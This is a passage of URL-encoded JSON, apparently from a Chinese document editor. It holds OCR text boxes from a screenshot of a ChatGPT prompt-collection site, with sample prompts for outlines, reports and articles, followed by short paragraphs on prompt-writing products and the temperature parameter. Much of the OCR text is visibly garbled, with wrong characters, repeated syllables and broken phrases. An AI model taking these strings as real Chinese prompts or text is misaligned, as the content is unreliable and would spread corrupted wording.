22%E7%AA%9D%E6%AF%85%E5%91%8A%22%7D%2C%7B%22x%22%3A730.5547%2C%22y%22%3A358.51633%2C%22width%22%3A66.17612999999994%2C%22height%22%3A20.739070000000027%2C%22text%22%3A%22%E6%97%A5%E5%B8%B8%E7%94%9F%E6%B4%BB%22%7D%2C%7B%22x%22%3A166.04872%2C%22y%22%3A358.72324%2C%22width%22%3A83.89992999999998%2C%22height%22%3A20.436860000000024%2C%22text%22%3A%22%E8%A1%8C%E9%94%80%E7%BD%91SEO%22%7D%2C%7B%22x%22%3A444.14462%2C%22y%22%3A359.84848%2C%22width%22%3A75.89902000000001%2C%22height%22%3A18.50211999999999%2C%22text%22%3A%22HR%E4%B8%8E%E6%8B%9B%E5%8B%9F%22%7D%2C%7B%22x%22%3A583.9457%2C%22y%22%3A359.64746%2C%22width%22%3A81.61590000000001%2C%22height%22%3A18.69250999999997%2C%22text%22%3A%22%E6%8A%95%E8%B5%84%E5%A5%A5%E4%BA%A4%E6%98%93%22%7D%2C%7B%22x%22%3A860.7249%2C%22y%22%3A360.72415%2C%22width%22%3A65.50169999999991%2C%22height%22%3A18.96845000000002%2C%22text%22%3A%22%E6%9C%89%E8%B6%A3%E5%A5%BD%E7%8E%A9%22%7D%2C%7B%22x%22%3A67.88733%2C%22y%22%3A360.72025%2C%22width%22%3A34.54494%2C%22height%22%3A18.17474999999996%2C%22text%22%3A%22%E9%94%80%E5%94%AE%22%7D%2C%7B%22x%22%3A313.9853%2C%22y%22%3A360.8893%2C%22width%22%3A65.79574000000002%2C%22height%22%3A18.365670000000023%2C%22text%22%3A%22%E4%BA%A7%E5%93%81%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A989.93915%2C%22y%22%3A361.22238%2C%22width%22%3A66.28055000000006%2C%22height%22%3A17.027919999999995%2C%22text%22%3A%22%E8%A7%92%E8%89%B2%E6%89%AE%E6%BC%94%22%7D%2C%7B%22x%22%3A739.4935%2C%22y%22%3A434.81128%2C%22width%22%3A55.83619999999996%2C%22height%22%3A19.84366%2C%22text%22%3A%22%E9%AB%98%E6%8A%A5%E5%91%8A%22%7D%2C%7B%22x%22%3A1413.4482%2C%22y%22%3A521.36816%2C%22width%22%3A36.93270000000007%2C%22height%22%3A17.66283999999996%2C%22text%22%3A%22%E8%A2%AB%E5%88%B6%22%7D%2C%7B%22x%22%3A456.6728%2C%22y%22%3A521.39307%2C%22width%22%3A35.943100000000015%2C%22height%22%3A18.287590000000023%2C%22text%22%3A%22%E5%A4%9C%E5%88%B6%22%7D%2C%7B%22x%22%3A935.03687%2C%22y%22%3A521.35333%2C%22width%22%3A33.953430000000026%2C%22height%22%3A18.217869999999948%2C%22text%22%3A%22%E5%A4%9C%E5%88%B6%22%7D%2C%7B%22x%22%3A1027.587%2C%22y%22%3A548.21387%2C%22width%22%3A94.43170000000009%2C%22height%22%3A27.93043%2C%22text%22%3A%22%E5%A4%A7%E7%BA%B2%E7%94%9F%E6%88%90%22%7D%2C%7B%22x%22%3A546.21204%2C%22y%22%3A549.39545%2C%22width%22%3A97.80278999999996%2C%22height%22%3A25.482950000000073%2C%22text%22%3A%22%E6%8A%A5%E5%91%8A%E5%BC%80%E5%A4%B4%22%7D%2C%7B%22x%22%3A68.17856%2C%22y%22%3A550.3067%2C%22width%22%3A142.67177%2C%22height%22%3A26.393599999999992%2C%22text%22%3A%22%E9%81%A5%E5%AE%9A%E5%88%87%E5%85%A5%E8%A7%92%E5%BA%A6%22%7D%2C%7B%22x%22%3A546.79535%2C%22y%22%3A593.20435%2C%22width%22%3A404.26525000000004%2C%22height%22%3A20.904049999999984%2C%22text%22%3A%22%E6%88%91%E7%8E%B0%E5%9C%A8%E6%AD%A3%E5%9C%A8%E6%8A%A5%E5%91%8A%E7%9A%84%E6%83%85%E5%A2%83%E7%BF%BC%E7%9B%AE%E7%9A%84.%E6%88%91%E7%9A%84%E7%AD%92%E6%AF%85%E4%B8%BB%E9%A2%98%E6%98%AF%E6%9F%90%E4%B8%AA%22%7D%2C%7B%22x%22%3A66.59287%2C%22y%22%3A593.1343%2C%22width%22%3A413.93676%2C%22height%22%3A21.145799999999895%2C%22text%22%3A%22%E4%BA%A7%E7%94%9F%E6%95%B0%E5%AD%97%E4%B8%AA%E5%85%B7%E6%9C%89%E8%AF%B4%E6%9C%8D%E5%8A%9B%E5%92%8C%E6%8F%8F%E8%BF%B0%E6%80%A7%E7%9A%84%E6%96%87%E7%AB%A0%E4%B8%BB%E9%A2%98%E6%83%B3%E6%B3%95%2C%E4%B8%BB%E9%A2%98%22%7D%2C%7B%22x%22%3A1025.5508%2C%22y%22%3A594.65765%2C%22width%22%3A412.3813%2C%22height%22%3A19.917249999999967%2C%22text%22%3A%22%E4%B8%BA%E4%B8%80%E7%AF%87%E9%A2%98%E9%AB%98%E6%9F%90%E4%B8%AA%E4%B8%BB%E9%A2%98%5D%E7%9A%84%E6%95%B0%E5%AD%97%E6%96%87%E7%AB%A0%E4%BA%A7%E4%BA%A7%E4%BA%A7%E4%BA%A7%E4%BA%A7%E7%94%9F%E5%A4%A7%E7%BA%B2.%E5%86%85%22%7D%2C%7B%22x%22%3A547.704%2C%22y%22%3A628.1303%2C%22width%22%3A401.00395000000003%2C%22height%22%3A21.837299999999914%2C%22text%22%3A%22%E4%B8%BB%E9%A2%98%2C%E8%AF%B7%E6%8F%90%E4%BE%9B%E6%95%B0%E5%AD%97%E7%90%86%E9%98%85%E8%AF%BB%E6%96%B9%E5%BC%8F%2C%E8%A6%81%E7%AE%80%E7%BD%A9%E5%88%B0%E7%9B%AE%E6%A0%87%E6%97%8F%E7%BE%A4%22%7D%2C%7B%22x%22%3A1025.2789%2C%22y%22%3A629.9577%2C%22width%22%3A401.5724%2C%22height%22%3A20.666999999999916%2C%22text%22%3A%22%E5%AE%B9%E5%8C%85%E6%8B%AC%E5%89%8D%E8%A8%80%2C%E4%B8%BB%E6%AE%B5%E8%90%BD%E5%92%8C%E7%BB%93%E8%AE%BA.%E8%AF%B7%E7%A1%AE%E4%BF%9D%E5%8C%85%E6%8B%AC%E6%9C%89%E5%85%B3%E8%AF%A5%E4%B8%BB%E9%A2%98%E7%9A%84%E4%B8%BB%22%7D%2C%7B%22x%22%3A66.495056%2C%22y%22%3A630.0677%2C%22width%22%3A120.14674399999998%2C%22height%22%3A19.38634000000002%2C%22text%22%3A%22%E4%B8%BA%E6%9F%90%E4%B8%AA%E4%B8%BB%E9%A2%98%22%7D%2C%7B%22x%22%3A1024.686%2C%22y%22%3A666.5431%2C%22width%22%3A104.97230000000013%2C%22height%22%3A18.12149999999997%2C%22text%22%3A%22%E8%A6%81%E8%A7%82%E8%B4%B4%E5%92%8C%E8%AF%8A%E7%82%B9.%22%7D%2C%7B%22x%22%3A546.0143%2C%22y%22%3A666.7025%2C%22width%22%3A388.2807399999999%2C%22height%22%3A18.82619999999997%2C%22text%22%3A%22%E8%83%BD%E6%81%B6%E6%87%82%2C%E5%90%8C%E6%97%B6%E8%A6%81%E8%B6%B3%E7%8B%97%E8%83%BD%E5%90%B8%E5%BC%95%E4%BA%BA%2C%E8%AE%A9%E4%BB%96%E4%BB%AC%E5%8E%9F%E6%84%8F%E8%A6%81%E5%BF%83%E6%98%AF%E4%B8%8B%E5%8E%BB%22%7D%2C%7B%22x%22%3A564.6846%2C%22y%22%3A728.33234%2C%22width%22%3A386.6431%2C%22height%22%3A15.963959999999929%2C%22text%22%3A%22%E6%88%91%E7%8E%B0%E5%9C%A8%E6%AD%A3%E5%9C%A8%E4%BF%AE%E5%8F%B0%E5%A4%A7%E7%9A%84%E7%AE%A1%E7%BA%A7%E5%99%A8%2C%E5%85%B6%E4%B8%AD%E4%B8%80%E9%A1%B9%E4%BD%9C%E6%84%8F%E6%98%AF%E8%A6%81%E5%81%9A%E4%B8%80%E4%BB%BD%E8%AF%BB%E5%B0%8F%E5%AF%BC%22%7D%2C%7B%22x%22%3A1039.2812%2C%22y%22%3A747.1615%2C%22width%22%3A400.06010000000015%2C%22height%22%3A19.225949999999898%2C%22text%22%3A%22%E6%B5%B7%E4%B8%80%E7%AE%80%E9%80%9A%E9%AB%98%5B%E7%A4%BE%E4%BA%A4%E5%AA%92%E9%85%B7%E5%A6%82%E4%BD%95%E5%BD%B1%E7%AD%94%E9%9D%92%E5%B0%91%E5%B9%B4%E7%9A%84%E5%BF%83%E7%90%86%E5%81%A5%E5%BA%B7%5D%E7%9A%841000%E5%AD%97%22%7D%2C%7B%22x%22%3A546.4655%2C%22y%22%3A748.435%2C%22width%22%3A398.25104999999996%2C%22height%22%3A16.668600000000083%2C%22text%22%3A%22%E7%94%9F%E8%83%BD%E9%A2%98%E9%80%A0%E7%9A%84%E7%B2%BE%E8%A3%85.%E6%88%91%E7%9A%84%E5%94%AE%E8%BE%83%E4%B8%BB%E8%A6%81%E6%98%AF%E6%A5%BC%E4%BC%9A%E6%88%90%E6%9C%AC%2C%E8%AF%B7%E6%8F%90%E4%BE%9B%E4%B8%89%E7%A8%8B%E8%B4%A8%E9%A1%BE%E6%96%B9%22%7D%2C%7B%22x%22%3A82.57066%2C%22y%22%3A765.8333%2C%22width%22%3A391.90966000000003%2C%22height%22%3A19.47004000000004%2C%22text%22%3A%22%E4%BA%A7%E7%94%9F3%E4%BD%86%E5%85%B7%E6%9C%89%E5%B7%AE%E6%9C%8D%E5%8A%9B%E5%92%8C%E6%8C%87%E8%BF%B0%E6%80%A7%E7%9A%84%E6%96%87%E7%AB%A0%E4%B8%BB%E9%A2%98%E6%83%B3%E6%B3%95%2C%E4%B8%BB%E9%A2%98%E9%AB%98%5B%E7%A4%BE%E4%BA%A4%22%7D%2C%7B%22x%22%3A545.6374%2C%22y%22%3A767.41705%2C%22width%22%3A409.9669%2C%22height%22%3A16.47264999999993%2C%22text%22%3A%22%E5%BC%8F%2C%E8%A6%81%E7%AE%80%E7%BD%A9%E5%88%B0%E5%B0%8F%E5%AF%BC%E7%94%9F%E8%83%BD%E7%90%B5%E7%90%B6%2C%E5%90%8C%E6%97%B6%E8%A6%81%E8%B6%B3%E5%8C%86%E8%83%BD%E5%90%B8%E5%BC%95%E4%BA%BA%2C%E8%AF%A5%E4%BB%96%E4%BB%AC%E9%A1%BE%E6%84%8F%E4%BA%8B%22%7D%2C%7B%22x%22%3A1023.72296%2C%22y%22%3A767.308%2C%22width%22%3A412.5087400000001%2C%22height%22%3A17.61796000000004%2C%22text%22%3A%22%E6%96%87%E7%AB%A0%E4%BA%A7%E7%94%9F%E5%A4%A7%E7%BA%B2.%E5%86%85%E5%AE%B9%E5%8C%85%E6%8B%AC%E5%89%8D%E8%A8%80%2C%E4%B8%BB%E6%AE%B5%E8%90%BD%E5%92%8C%E7%BB%93%E8%AE%BA.%E8%AF%B7%E7%A1%AE%E4%BF%9D%E5%8C%85%E6%8B%AC%E6%9C%89%E5%89%A7%E8%AF%A5%22%7D%2C%7B%22x%22%3A66.17779%2C%22y%22%3A787.60693%2C%22width%22%3A139.34163%2C%22height%22%3A16.623069999999984%2C%22text%22%3A%22%E5%A8%B1%E4%BD%93%E5%A6%82%E4%BD%95%E5%BD%B1%E9%A6%A8%E9%9D%92%E5%B0%91%E5%B9%B4%22%7D%2C%7B%22x%22%3A1024.9142%2C%22y%22%3A787.8102%2C%22width%22%3A154.55560000000014%2C%22height%22%3A17.038069999999948%2C%22text%22%3A%22%E4%B8%BB%E9%A2%98%E7%9A%84%E4%B8%BB%E8%A6%81%E8%B7%9F%E8%B4%B4%E5%92%8C%E6%B8%9D%E8%B4%B4.%22%7D%2C%7B%22x%22%3A547.3024%2C%22y%22%3A788.5878%2C%22width%22%3A57.88329999999996%2C%22height%22%3A15.452359999999999%2C%22text%22%3A%22%E5%BF%83%E5%BE%B7%E4%B8%8B%E5%8E%BB%22%7D%2C%7B%22x%22%3A456.608%2C%22y%22%3A878.76355%2C%22width%22%3A35.94657000000001%2C%22height%22%3A19.36635000000001%2C%22text%22%3A%22%E5%A4%8D%E5%88%B6%22%7D%2C%7B%22x%22%3A935.32104%2C%22y%22%3A878.7993%2C%22width%22%3A34.72605999999996%2C%22height%22%3A19.51392999999996%2C%22text%22%3A%22%E5%A4%9C%E5%88%B6%22%7D%2C%7B%22x%22%3A1414.1359%2C%22y%22%3A878.7099%2C%22width%22%3A36.3578%2C%22height%22%3A19.82056%2C%22text%22%3A%22%E8%A2%AB%E5%88%B6%22%7D%2C%7B%22x%22%3A1024.9755%2C%22y%22%3A907.32874%2C%22width%22%3A145.72849999999994%2C%22height%22%3A26.27019999999993%2C%22text%22%3A%22%E6%8F%90%E5%87%BA%E5%8F%8D%E5%AF%B9%E8%A7%82%E7%82%B9%22%7D%2C%7B%22x%22%3A66.91277%2C%22y%22%3A908.3559%2C%22width%22%3A96.27026000000001%2C%22height%22%3A26.103150000000028%2C%22text%22%3A%22%E8%8D%89%E7%A8%BF%E6%92%B0%E5%AF%93%22%7D%2C%7B%22x%22%3A544.85614%2C%22y%22%3A908.86664%2C%22width%22%3A96.24248999999998%2C%22height%22%3A25.13812000000007%2C%22text%22%3A%22%E7%A0%94%E7%A9%B6%E6%AF%85%E5%91%8A%22%7D%2C%7B%22x%22%3A66.60119%2C%22y%22%3A949.9975%2C%22width%22%3A279.04251%2C%22height%22%3A22.50323000000003%2C%22text%22%3A%22%E6%8E%A8%E7%AA%9D%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E9%A2%98%E7%9B%AE%E4%BA%AE%3A%5B%E6%9F%90%E4%B8%AA%E4%B8%BB%E9%A2%98%5D%E7%9A%84%22%7D%2C%7B%22x%22%3A317.1157%2C%22y%22%3A951.78107%2C%22width%22%3A155.52508%2C%22height%22%3A20.64873%2C%22text%22%3A%22%E9%81%93%E7%9A%84%E8%8D%89%E7%A8%BF%2C%E7%BB%93%E6%9E%84%E9%9C%80%E8%A6%81%22%7D%2C%7B%22x%22%3A1025.0623%2C%22y%22%3A951.50745%2C%22width%22%3A379.1705999999999%2C%22height%22%3A20.450950000000034%2C%22text%22%3A%22%E4%BD%A0%E6%98%AF%E6%9F%90%E4%B8%AA%E4%B8%BB%E9%A2%98%E7%9A%84%E4%B8%93%E5%AE%B6%2C%E8%AF%B7%E9%92%88%E5%B0%81%E4%BB%A5%E4%B8%8B%E8%AE%BA%E8%BF%B0%E9%99%84%E4%B8%8A%E8%AE%BA%E8%BF%B0%2C%22%7D%2C%7B%22x%22%3A544.4851%2C%22y%22%3A951.2822%2C%22width%22%3A406.7641%2C%22height%22%3A21.594749999999976%2C%22text%22%3A%22%E9%9C%87%E5%87%BA%E4%B8%80%E7%AF%87%E6%9C%89%E5%BC%80%E7%9F%A5%E6%88%B4%E7%9A%84%E6%95%B0%E5%AD%97%E5%AD%97%E7%A0%94%E7%A9%B6%E6%9C%8D%E5%91%8A%2C%E6%AF%85%E5%91%8A%E4%B8%AD%E9%9C%80%E5%BC%95%22%7D%5D%2C%22search%22%3A%22CHATGPT%E6%8C%87%E4%BB%A4%E5%A4%A7%E5%85%A8%20%E6%9C%AC%E7%AB%99%E6%98%AF%E4%BE%9B%E6%95%B0%E7%99%BE%E4%B8%AA%E7%B2%BE%E7%82%BC%E9%80%9A%E7%9A%84%E6%8C%87%E4%BB%A4%E8%AF%AD%E5%8F%A5(%E6%8F%90%E7%A4%BA%E8%AF%8D)%2C%E8%AF%B7%E4%BD%A0%E5%85%85%E5%88%86%E5%8F%91%E6%8B%A9CHATGPT%E7%9A%84%E5%BC%BA%E5%A4%A7%E5%8A%9F%E8%83%BD%20%E4%BA%86%E8%A7%A3%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%20%E5%BA%94%E7%94%A8%E5%9B%A0%E6%95%99%E5%AD%A6%20%E8%B5%84%E6%96%99%E6%95%B4%E7%90%86%20%E5%B7%A5%E4%BD%9C%E7%94%9F%E4%BA%A7%E5%8A%9B%20%E5%85%A8%E9%83%A8%20%E7%A4%BE%E7%BE%A4%E5%AA%92%E4%BD%93%20%E7%A8%8B%E5%BC%8F%E5%BC%80%E5%8F%91%20%E8%8B%B1%E8%AF%AD%E7%BF%A0%E6%99%8B%20%E5%87%86%E5%A4%87%E9%9D%A2%E8%AF%95%20%E5%B1%A5%E5%8E%86%E4%B8%8E%E8%87%AA%E5%82%85%20%E5%AF%A1%E4%BD%9C%E8%8C%97%E6%89%8B%20%E7%9F%A5%E8%97%8F%E5%AD%A6%E4%B9%A0%20%E7%AA%9D%E6%AF%85%E5%91%8A%20%E6%97%A5%E5%B8%B8%E7%94%9F%E6%B4%BB%20%E8%A1%8C%E9%94%80%E7%BD%91SEO%20HR%E4%B8%8E%E6%8B%9B%E5%8B%9F%20%E6%8A%95%E8%B5%84%E5%A5%A5%E4%BA%A4%E6%98%93%20%E6%9C%89%E8%B6%A3%E5%A5%BD%E7%8E%A9%20%E9%94%80%E5%94%AE%20%E4%BA%A7%E5%93%81%E7%AE%A1%E7%90%86%20%E8%A7%92%E8%89%B2%E6%89%AE%E6%BC%94%20%E9%AB%98%E6%8A%A5%E5%91%8A%20%E8%A2%AB%E5%88%B6%20%E5%A4%9C%E5%88%B6%20%E5%A4%9C%E5%88%B6%20%E5%A4%A7%E7%BA%B2%E7%94%9F%E6%88%90%20%E6%8A%A5%E5%91%8A%E5%BC%80%E5%A4%B4%20%E9%81%A5%E5%AE%9A%E5%88%87%E5%85%A5%E8%A7%92%E5%BA%A6%20%E6%88%91%E7%8E%B0%E5%9C%A8%E6%AD%A3%E5%9C%A8%E6%8A%A5%E5%91%8A%E7%9A%84%E6%83%85%E5%A2%83%E7%BF%BC%E7%9B%AE%E7%9A%84.%E6%88%91%E7%9A%84%E7%AD%92%E6%AF%85%E4%B8%BB%E9%A2%98%E6%98%AF%E6%9F%90%E4%B8%AA%20%E4%BA%A7%E7%94%9F%E6%95%B0%E5%AD%97%E4%B8%AA%E5%85%B7%E6%9C%89%E8%AF%B4%E6%9C%8D%E5%8A%9B%E5%92%8C%E6%8F%8F%E8%BF%B0%E6%80%A7%E7%9A%84%E6%96%87%E7%AB%A0%E4%B8%BB%E9%A2%98%E6%83%B3%E6%B3%95%2C%E4%B8%BB%E9%A2%98%20%E4%B8%BA%E4%B8%80%E7%AF%87%E9%A2%98%E9%AB%98%E6%9F%90%E4%B8%AA%E4%B8%BB%E9%A2%98%5D%E7%9A%84%E6%95%B0%E5%AD%97%E6%96%87%E7%AB%A0%E4%BA%A7%E4%BA%A7%E4%BA%A7%E4%BA%A7%E4%BA%A7%E7%94%9F%E5%A4%A7%E7%BA%B2.%E5%86%85%20%E4%B8%BB%E9%A2%98%2C%E8%AF%B7%E6%8F%90%E4%BE%9B%E6%95%B0%E5%AD%97%E7%90%86%E9%98%85%E8%AF%BB%E6%96%B9%E5%BC%8F%2C%E8%A6%81%E7%AE%80%E7%BD%A9%E5%88%B0%E7%9B%AE%E6%A0%87%E6%97%8F%E7%BE%A4%20%E5%AE%B9%E5%8C%85%E6%8B%AC%E5%89%8D%E8%A8%80%2C%E4%B8%BB%E6%AE%B5%E8%90%BD%E5%92%8C%E7%BB%93%E8%AE%BA.%E8%AF%B7%E7%A1%AE%E4%BF%9D%E5%8C%85%E6%8B%AC%E6%9C%89%E5%85%B3%E8%AF%A5%E4%B8%BB%E9%A2%98%E7%9A%84%E4%B8%BB%20%E4%B8%BA%E6%9F%90%E4%B8%AA%E4%B8%BB%E9%A2%98%20%E8%A6%81%E8%A7%82%E8%B4%B4%E5%92%8C%E8%AF%8A%E7%82%B9.%20%E8%83%BD%E6%81%B6%E6%87%82%2C%E5%90%8C%E6%97%B6%E8%A6%81%E8%B6%B3%E7%8B%97%E8%83%BD%E5%90%B8%E5%BC%95%E4%BA%BA%2C%E8%AE%A9%E4%BB%96%E4%BB%AC%E5%8E%9F%E6%84%8F%E8%A6%81%E5%BF%83%E6%98%AF%E4%B8%8B%E5%8E%BB%20%E6%88%91%E7%8E%B0%E5%9C%A8%E6%AD%A3%E5%9C%A8%E4%BF%AE%E5%8F%B0%E5%A4%A7%E7%9A%84%E7%AE%A1%E7%BA%A7%E5%99%A8%2C%E5%85%B6%E4%B8%AD%E4%B8%80%E9%A1%B9%E4%BD%9C%E6%84%8F%E6%98%AF%E8%A6%81%E5%81%9A%E4%B8%80%E4%BB%BD%E8%AF%BB%E5%B0%8F%E5%AF%BC%20%E6%B5%B7%E4%B8%80%E7%AE%80%E9%80%9A%E9%AB%98%5B%E7%A4%BE%E4%BA%A4%E5%AA%92%E9%85%B7%E5%A6%82%E4%BD%95%E5%BD%B1%E7%AD%94%E9%9D%92%E5%B0%91%E5%B9%B4%E7%9A%84%E5%BF%83%E7%90%86%E5%81%A5%E5%BA%B7%5D%E7%9A%841000%E5%AD%97%20%E7%94%9F%E8%83%BD%E9%A2%98%E9%80%A0%E7%9A%84%E7%B2%BE%E8%A3%85.%E6%88%91%E7%9A%84%E5%94%AE%E8%BE%83%E4%B8%BB%E8%A6%81%E6%98%AF%E6%A5%BC%E4%BC%9A%E6%88%90%E6%9C%AC%2C%E8%AF%B7%E6%8F%90%E4%BE%9B%E4%B8%89%E7%A8%8B%E8%B4%A8%E9%A1%BE%E6%96%B9%20%E4%BA%A7%E7%94%9F3%E4%BD%86%E5%85%B7%E6%9C%89%E5%B7%AE%E6%9C%8D%E5%8A%9B%E5%92%8C%E6%8C%87%E8%BF%B0%E6%80%A7%E7%9A%84%E6%96%87%E7%AB%A0%E4%B8%BB%E9%A2%98%E6%83%B3%E6%B3%95%2C%E4%B8%BB%E9%A2%98%E9%AB%98%5B%E7%A4%BE%E4%BA%A4%20%E5%BC%8F%2C%E8%A6%81%E7%AE%80%E7%BD%A9%E5%88%B0%E5%B0%8F%E5%AF%BC%E7%94%9F%E8%83%BD%E7%90%B5%E7%90%B6%2C%E5%90%8C%E6%97%B6%E8%A6%81%E8%B6%B3%E5%8C%86%E8%83%BD%E5%90%B8%E5%BC%95%E4%BA%BA%2C%E8%AF%A5%E4%BB%96%E4%BB%AC%E9%A1%BE%E6%84%8F%E4%BA%8B%20%E6%96%87%E7%AB%A0%E4%BA%A7%E7%94%9F%E5%A4%A7%E7%BA%B2.%E5%86%85%E5%AE%B9%E5%8C%85%E6%8B%AC%E5%89%8D%E8%A8%80%2C%E4%B8%BB%E6%AE%B5%E8%90%BD%E5%92%8C%E7%BB%93%E8%AE%BA.%E8%AF%B7%E7%A1%AE%E4%BF%9D%E5%8C%85%E6%8B%AC%E6%9C%89%E5%89%A7%E8%AF%A5%20%E5%A8%B1%E4%BD%93%E5%A6%82%E4%BD%95%E5%BD%B1%E9%A6%A8%E9%9D%92%E5%B0%91%E5%B9%B4%20%E4%B8%BB%E9%A2%98%E7%9A%84%E4%B8%BB%E8%A6%81%E8%B7%9F%E8%B4%B4%E5%92%8C%E6%B8%9D%E8%B4%B4.%20%E5%BF%83%E5%BE%B7%E4%B8%8B%E5%8E%BB%20%E5%A4%8D%E5%88%B6%20%E5%A4%9C%E5%88%B6%20%E8%A2%AB%E5%88%B6%20%E6%8F%90%E5%87%BA%E5%8F%8D%E5%AF%B9%E8%A7%82%E7%82%B9%20%E8%8D%89%E7%A8%BF%E6%92%B0%E5%AF%93%20%E7%A0%94%E7%A9%B6%E6%AF%85%E5%91%8A%20%E6%8E%A8%E7%AA%9D%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E9%A2%98%E7%9B%AE%E4%BA%AE%3A%5B%E6%9F%90%E4%B8%AA%E4%B8%BB%E9%A2%98%5D%E7%9A%84%20%E9%81%93%E7%9A%84%E8%8D%89%E7%A8%BF%2C%E7%BB%93%E6%9E%84%E9%9C%80%E8%A6%81%20%E4%BD%A0%E6%98%AF%E6%9F%90%E4%B8%AA%E4%B8%BB%E9%A2%98%E7%9A%84%E4%B8%93%E5%AE%B6%2C%E8%AF%B7%E9%92%88%E5%B0%81%E4%BB%A5%E4%B8%8B%E8%AE%BA%E8%BF%B0%E9%99%84%E4%B8%8A%E8%AE%BA%E8%BF%B0%2C%20%E9%9C%87%E5%87%BA%E4%B8%80%E7%AF%87%E6%9C%89%E5%BC%80%E7%9F%A5%E6%88%B4%E7%9A%84%E6%95%B0%E5%AD%97%E5%AD%97%E7%A0%94%E7%A9%B6%E6%9C%8D%E5%91%8A%2C%E6%AF%85%E5%91%8A%E4%B8%AD%E9%9C%80%E5%BC%95%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23fbf9f8%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u1a779d1d%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud5640ab2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%99%A4%E4%BA%86%E8%BF%99%E7%A7%8D%E7%AE%80%E5%8D%95%E7%9A%84%E6%8C%87%E4%BB%A4%E5%88%86%E4%BA%AB%EF%BC%8C%E7%94%9A%E8%87%B3%E8%BF%98%E6%9C%89%E6%9B%B4%E7%89%9B%E9%80%BC%E7%9A%84%E7%9B%B4%E6%8E%A5%E6%8A%8A%E8%BF%99%E4%B8%AA%E4%B8%9C%E8%A5%BF%E7%9B%B4%E6%8E%A5%E5%8C%85%E8%A3%85%E6%88%90%E4%BA%A7%E5%93%81%EF%BC%8C%E7%9B%B4%E6%8E%A5%E8%BE%85%E5%8A%A9%E4%BD%A0%E5%8E%BB%E5%86%99%E5%90%84%E7%A7%8Dprompt%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22CIZ9u%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua8a3d2fb%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%A2%9D%E5%A4%96%E5%8F%82%E6%95%B0%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud2896673%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4d355b78%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%99%A4%E4%BA%86%E7%AE%80%E5%8D%95%E7%9A%84%E5%AF%B9%E8%AF%9D%E6%8A%80%E5%B7%A7%E4%BB%A5%E5%8F%8A%E5%90%84%E7%A7%8D%E6%96%B9%E6%A1%88%EF%BC%8CChatGPT%E8%BF%98%E6%8F%90%E4%BE%9B%E4%BA%86%E4%B8%8D%E5%B0%91%E7%9A%84%E9%A2%9D%E5%A4%96%E5%8F%82%E6%95%B0%E4%BB%A5%E5%BD%B1%E5%93%8D%E8%BF%94%E5%9B%9E%E7%9A%84%E7%BB%93%E6%9E%9C%EF%BC%8C%E5%85%B6%E4%B8%AD%E6%88%91%E6%8C%91%E9%83%A8%E5%88%86%E6%88%91%E8%A7%89%E5%BE%97%E6%AF%94%E8%BE%83%E6%9C%89%E6%84%8F%E6%80%9D%E7%9A%84%E5%8F%82%E6%95%B0%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22lRqf5%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ufef61f63%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22temperature%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u86fe92ea%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud88e5e66%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22temperature%E8%BF%99%E4%B8%AA%E5%8F%82%E6%95%B0%E5%AE%98%E6%96%B9%E7%BB%99%E5%87%BA%E7%9A%84%E8%A7%A3%E9%87%8A%E6%98%AF%EF%BC%8C%E8%A1%A1%E9%87%8F%E6%A8%A1%E5%9E%8B%E8%BE%93%E5%87%BA%E4%B8%8D%E5%A4%AA%E5%87%86%E7%A1%AE%E4%BF%A1%E6%81%AF%E7%9A%84%E9%A2%91%E7%8E%87%EF%BC%8Ctemperature%E8%B6%8A%E9%AB%98%EF%BC%8C%E8%BE%93%E5%87%BA%E8%B6%8A%E9%9A%8F%E6%9C%BA%EF%BC%8C%E5%B9%B6%E6%9B%B4%E5%85%B7%E6%9C%89%E5%88%9B%E9%80%A0%E6%80%A7%E3%80%82%E4%BD%86%E7%9B%B8%E6%AF%94%E5%AE%98%E6%96%B9%E7%9A%84%E8%A7%A3%E9%87%8A%EF%BC%8C%E6%88%91%E4%BB%AC%E7%94%9A%E8%87%B3%E5%8F%AF%E4%BB%A5%E6%8A%8Atemperature%E7%90%86%E8%A7%A3%E4%B8%BA%E6%83%85%E6%84%9F%E5%80%BC%E6%88%96%E8%80%85%E6%B8%A9%E5%BA%A6%E5%80%BC%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ubcac39f0%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u49a5185